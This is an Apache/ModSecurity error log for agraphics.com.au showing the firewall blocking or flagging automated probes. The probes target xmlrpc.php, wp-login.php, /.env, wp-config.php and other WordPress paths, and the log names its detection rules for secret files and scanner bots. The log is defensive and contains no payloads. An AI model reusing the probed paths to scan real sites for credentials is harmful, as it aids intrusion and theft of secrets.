[Mon Mar 16 11:05:24.250108 2026] [:error] [pid 62026:tid 62095] [client 173.239.236.76:23645] [client 173.239.236.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "abdzdO8oW52PUIYI2O4L1AAAAIk"]
[Mon Mar 16 11:05:24.488547 2026] [:error] [pid 62510:tid 62524] [client 173.239.236.157:55381] [client 173.239.236.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "abdzdCE33_T9aKpoDdjqDwAAAQs"]
[Mon Mar 16 11:05:24.708332 2026] [:error] [pid 9305:tid 9320] [client 173.239.236.107:46865] [client 173.239.236.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "abdzdPRqyKiwGvzyRKyaRAAAAYo"]
[Mon Mar 16 16:45:13.401797 2026] [:error] [pid 62024:tid 62037] [client 103.117.237.130:57398] [client 103.117.237.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.117.237.130, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abfDGYk-5rtjYvjqC_q8GQAAAAg"]
[Mon Mar 16 16:45:13.414285 2026] [proxy_fcgi:error] [pid 62024:tid 62037] [client 103.117.237.130:57398] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 16:45:52.569628 2026] [:error] [pid 62025:tid 62083] [client 49.204.233.216:59724] [client 49.204.233.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.233.216, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abfDQOimBfLmKh7zLXOBIAAAAFg"]
[Mon Mar 16 16:45:52.581291 2026] [proxy_fcgi:error] [pid 62025:tid 62083] [client 49.204.233.216:59724] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 18:01:06.702158 2026] [:error] [pid 39154:tid 39163] [client 34.187.158.4:59966] [client 34.187.158.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "abfU4hgq1_qjm7J1LqvsawAAAUY"]
[Mon Mar 16 18:01:07.387144 2026] [:error] [pid 35929:tid 35932] [client 34.187.158.4:60090] [client 34.187.158.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "abfU49W47dGpmA63hwRuIQAAAME"]
[Mon Mar 16 18:01:07.912710 2026] [:error] [pid 39154:tid 39157] [client 34.187.158.4:60260] [client 34.187.158.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "abfU4xgq1_qjm7J1LqvsjQAAAUA"]
[Mon Mar 16 18:01:08.515874 2026] [:error] [pid 35840:tid 35903] [client 34.187.158.4:60496] [client 34.187.158.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/env.js"] [unique_id "abfU5EJFzfEsmtPx-M3zJQAAAIY"]
[Mon Mar 16 18:01:09.140193 2026] [:error] [pid 36198:tid 36224] [client 34.187.158.4:60808] [client 34.187.158.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/env.js"] [unique_id "abfU5elL1GNckmsdWlML6AAAARc"]
[Mon Mar 16 18:03:41.287516 2026] [:error] [pid 39154:tid 39160] [client 83.229.84.238:58544] [client 83.229.84.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.229.84.238, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abfVfRgq1_qjm7J1LqvuBgAAAUM"]
[Mon Mar 16 18:03:41.297527 2026] [proxy_fcgi:error] [pid 39154:tid 39160] [client 83.229.84.238:58544] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 18:03:45.105525 2026] [:error] [pid 39154:tid 39158] [client 83.229.84.238:58544] [client 83.229.84.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "abfVgRgq1_qjm7J1LqvuGQAAAUE"]
[Mon Mar 16 18:03:45.687175 2026] [:error] [pid 35839:tid 35885] [client 83.229.84.238:61151] [client 83.229.84.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "abfVgaxyv6h8-aZrncv3hAAAAE8"]
[Mon Mar 16 18:03:46.295699 2026] [:error] [pid 35840:tid 35919] [client 83.229.84.238:61415] [client 83.229.84.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "abfVgkJFzfEsmtPx-M3zxgAAAJY"]
[Mon Mar 16 18:03:46.884652 2026] [:error] [pid 39154:tid 39168] [client 83.229.84.238:61730] [client 83.229.84.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "abfVghgq1_qjm7J1LqvuHQAAAUs"]
[Mon Mar 16 18:03:47.398082 2026] [:error] [pid 39154:tid 39162] [client 83.229.84.238:62021] [client 83.229.84.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "abfVgxgq1_qjm7J1LqvuHgAAAUU"]
[Mon Mar 16 18:03:47.999101 2026] [:error] [pid 36198:tid 36211] [client 83.229.84.238:62295] [client 83.229.84.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "abfVg-lL1GNckmsdWlMNEQAAAQo"]
[Mon Mar 16 21:42:24.284113 2026] [:error] [pid 35838:tid 35854] [client 173.239.224.98:41641] [client 173.239.224.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.98, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abgIwBroTe-x3JLtmo7QTwAAAAw"]
[Mon Mar 16 21:42:24.294340 2026] [proxy_fcgi:error] [pid 35838:tid 35854] [client 173.239.224.98:41641] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 02:24:49.335600 2026] [:error] [pid 9635:tid 9641] [client 170.239.226.130:49077] [client 170.239.226.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.239.226.130, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abhK8XsAHChuwZxGaSj7GgAAAUQ"]
[Tue Mar 17 02:24:49.346440 2026] [proxy_fcgi:error] [pid 9635:tid 9641] [client 170.239.226.130:49077] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 03:52:55.769572 2026] [proxy_fcgi:error] [pid 46020:tid 46031] [client 20.120.91.203:29396] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 03:52:56.096369 2026] [proxy_fcgi:error] [pid 46020:tid 46042] [client 20.120.91.203:29396] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 03:52:56.669024 2026] [proxy_fcgi:error] [pid 46020:tid 46034] [client 20.120.91.203:29396] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 03:52:56.945221 2026] [proxy_fcgi:error] [pid 46020:tid 46030] [client 20.120.91.203:29396] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 03:52:57.456941 2026] [proxy_fcgi:error] [pid 46020:tid 46025] [client 20.120.91.203:29396] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 03:52:57.766715 2026] [proxy_fcgi:error] [pid 46020:tid 46026] [client 20.120.91.203:29396] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 03:52:58.103792 2026] [proxy_fcgi:error] [pid 46020:tid 46042] [client 20.120.91.203:29396] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 03:52:58.627925 2026] [:error] [pid 46020:tid 46034] [client 20.120.91.203:29396] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abhfmn-nCcd9BdzGdLenQQAAAMw"]
[Tue Mar 17 03:53:00.918572 2026] [:error] [pid 45917:tid 45994] [client 20.120.91.203:29433] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abhfnBMMhmeqL5fT_hdZZgAAAIU"]
[Tue Mar 17 03:53:03.164258 2026] [:error] [pid 46020:tid 46028] [client 20.120.91.203:29426] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abhfn3-nCcd9BdzGdLenTgAAAMY"]
[Tue Mar 17 03:53:06.036811 2026] [:error] [pid 46020:tid 46045] [client 20.120.91.203:29455] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abhfon-nCcd9BdzGdLenWAAAANc"]
[Tue Mar 17 06:30:18.289075 2026] [:error] [pid 45917:tid 46010] [client 102.213.13.3:57439] [client 102.213.13.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.213.13.3, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abiEehMMhmeqL5fT_heSTQAAAJU"]
[Tue Mar 17 06:30:18.301412 2026] [proxy_fcgi:error] [pid 45917:tid 46010] [client 102.213.13.3:57439] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 07:56:12.264453 2026] [:error] [pid 45917:tid 45997] [client 185.223.152.147:63857] [client 185.223.152.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.147, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abiYnBMMhmeqL5fT_hex7wAAAIg"]
[Tue Mar 17 07:56:12.279549 2026] [proxy_fcgi:error] [pid 45917:tid 45997] [client 185.223.152.147:63857] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 09:17:11.114179 2026] [:error] [pid 15013:tid 15098] [client 217.216.37.50:50963] [client 217.216.37.50] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "abirl1Zc-p7DonmJmm2pEgAAAhU"]
[Tue Mar 17 10:41:42.819005 2026] [:error] [pid 15013:tid 15091] [client 70.48.240.25:53013] [client 70.48.240.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 70.48.240.25, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abi_ZlZc-p7DonmJmm27vAAAAg4"]
[Tue Mar 17 10:41:42.830787 2026] [proxy_fcgi:error] [pid 15013:tid 15091] [client 70.48.240.25:53013] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 15:11:13.944540 2026] [proxy_fcgi:error] [pid 45916:tid 45969] [client 83.229.84.238:62940] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 15:11:18.059528 2026] [proxy_fcgi:error] [pid 45916:tid 45974] [client 83.229.84.238:62940] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 15:11:22.261055 2026] [proxy_fcgi:error] [pid 45916:tid 45973] [client 83.229.84.238:62940] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 15:11:57.638337 2026] [:error] [pid 46020:tid 46026] [client 83.229.84.238:58520] [client 83.229.84.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-config.php"] [unique_id "abj-vX-nCcd9BdzGdLdzpAAAAMQ"]
[Tue Mar 17 15:11:59.925891 2026] [:error] [pid 45915:tid 45935] [client 83.229.84.238:59148] [client 83.229.84.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.229.84.238, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abj-v5h7U84ydzcrcnfk2QAAAAY"]
[Tue Mar 17 15:11:59.935866 2026] [proxy_fcgi:error] [pid 45915:tid 45935] [client 83.229.84.238:59148] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 15:12:07.797837 2026] [proxy_fcgi:error] [pid 45915:tid 45936] [client 83.229.84.238:61492] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 15:12:15.936483 2026] [proxy_fcgi:error] [pid 15013:tid 15090] [client 83.229.84.238:63909] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 15:12:25.729176 2026] [proxy_fcgi:error] [pid 45916:tid 45969] [client 83.229.84.238:50430] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 15:12:39.431645 2026] [proxy_fcgi:error] [pid 14929:tid 14959] [client 83.229.84.238:54067] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 15:12:40.886127 2026] [proxy_fcgi:error] [pid 14929:tid 14957] [client 83.229.84.238:54067] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 15:12:43.204327 2026] [proxy_fcgi:error] [pid 14929:tid 14937] [client 83.229.84.238:54067] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 15:12:54.232269 2026] [proxy_fcgi:error] [pid 22541:tid 22569] [client 83.229.84.238:58280] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 15:12:58.926149 2026] [:error] [pid 22541:tid 22553] [client 83.229.84.238:58280] [client 83.229.84.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/by.php"] [unique_id "abj--qS6JNY1-CTsTA-8GQAAAQc"]
[Tue Mar 17 15:58:04.742666 2026] [:error] [pid 45917:tid 46003] [client 177.11.251.0:61192] [client 177.11.251.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.11.251.0, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abkJjBMMhmeqL5fT_hfN8QAAAI4"]
[Tue Mar 17 15:58:04.756912 2026] [proxy_fcgi:error] [pid 45917:tid 46003] [client 177.11.251.0:61192] AH01071: Got error 'Primary script unknown'
[Tue Mar 17 20:32:24.960039 2026] [:error] [pid 45915:tid 45935] [client 191.96.67.175:18847] [client 191.96.67.175] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "ablJ2Jh7U84ydzcrcneSaQAAAAY"]
[Wed Mar 18 00:50:27.321716 2026] [proxy_fcgi:error] [pid 63449:tid 63474] [client 20.39.61.185:14097] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 00:50:27.541294 2026] [proxy_fcgi:error] [pid 63449:tid 63472] [client 20.39.61.185:14097] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 00:50:27.983149 2026] [proxy_fcgi:error] [pid 63449:tid 63457] [client 20.39.61.185:14097] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 00:50:28.201931 2026] [proxy_fcgi:error] [pid 63449:tid 63459] [client 20.39.61.185:14097] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 00:50:28.822846 2026] [proxy_fcgi:error] [pid 63449:tid 63464] [client 20.39.61.185:14097] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 00:50:29.041965 2026] [proxy_fcgi:error] [pid 63449:tid 63473] [client 20.39.61.185:14097] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 00:50:29.310745 2026] [proxy_fcgi:error] [pid 63449:tid 63461] [client 20.39.61.185:14097] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 00:50:29.746459 2026] [:error] [pid 63449:tid 63469] [client 20.39.61.185:14097] [client 20.39.61.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abmGVQplutP4IZ5mr13PlgAAAVI"]
[Wed Mar 18 00:50:33.548776 2026] [:error] [pid 63612:tid 63633] [client 20.39.61.185:14251] [client 20.39.61.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abmGWe7vPBSR8vo387MXqwAAAZM"]
[Wed Mar 18 00:50:35.771228 2026] [:error] [pid 63612:tid 63622] [client 20.39.61.185:14085] [client 20.39.61.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abmGW-7vPBSR8vo387MXxQAAAYg"]
[Wed Mar 18 00:50:38.978968 2026] [:error] [pid 40716:tid 41028] [client 20.39.61.185:14099] [client 20.39.61.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abmGXhR6i4ByUuhUBARpsAAAAEc"]
[Wed Mar 18 01:51:16.322436 2026] [:error] [pid 63612:tid 63631] [client 190.212.214.162:8920] [client 190.212.214.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.212.214.162, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abmUlO7vPBSR8vo387M2VAAAAZE"]
[Wed Mar 18 01:51:16.331590 2026] [proxy_fcgi:error] [pid 63612:tid 63631] [client 190.212.214.162:8920] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 05:03:07.857245 2026] [autoindex:error] [pid 44966:tid 45049] [client 167.172.93.181:65466] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Mar 18 08:13:18.286911 2026] [:error] [pid 13716:tid 13719] [client 20.2.90.103:39010] [client 20.2.90.103] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "abnuHmWKzQVHkZkUHaRT6gAAAUE"]
[Wed Mar 18 12:44:54.243897 2026] [proxy_fcgi:error] [pid 31232:tid 31241] [client 20.211.7.150:2798] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 12:44:54.400344 2026] [proxy_fcgi:error] [pid 31232:tid 31242] [client 20.211.7.150:2798] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 12:44:54.425693 2026] [proxy_fcgi:error] [pid 31232:tid 31240] [client 20.211.7.150:2798] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 12:44:54.445947 2026] [proxy_fcgi:error] [pid 31232:tid 31259] [client 20.211.7.150:2798] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 12:44:54.466079 2026] [proxy_fcgi:error] [pid 31232:tid 31254] [client 20.211.7.150:2798] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 12:44:54.525397 2026] [proxy_fcgi:error] [pid 31232:tid 31258] [client 20.211.7.150:2798] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 12:44:54.545642 2026] [proxy_fcgi:error] [pid 31232:tid 31243] [client 20.211.7.150:2798] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 12:44:54.564279 2026] [proxy_fcgi:error] [pid 31232:tid 31236] [client 20.211.7.150:2798] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 12:44:54.585295 2026] [proxy_fcgi:error] [pid 31232:tid 31247] [client 20.211.7.150:2798] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 12:44:54.601183 2026] [:error] [pid 31232:tid 31256] [client 20.211.7.150:2798] [client 20.211.7.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/"] [unique_id "abotxmX6HV7dqh3BQD28zAAAAFU"]
[Wed Mar 18 12:44:54.717320 2026] [:error] [pid 31232:tid 31237] [client 20.211.7.150:28150] [client 20.211.7.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/"] [unique_id "abotxmX6HV7dqh3BQD28zQAAAEI"]
[Wed Mar 18 12:44:54.781497 2026] [:error] [pid 31232:tid 31255] [client 20.211.7.150:2659] [client 20.211.7.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/"] [unique_id "abotxmX6HV7dqh3BQD28zwAAAFQ"]
[Wed Mar 18 12:44:54.846201 2026] [:error] [pid 42872:tid 42957] [client 20.211.7.150:2149] [client 20.211.7.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/"] [unique_id "abotxjchM8PQMaMEWJmYhAAAAc8"]
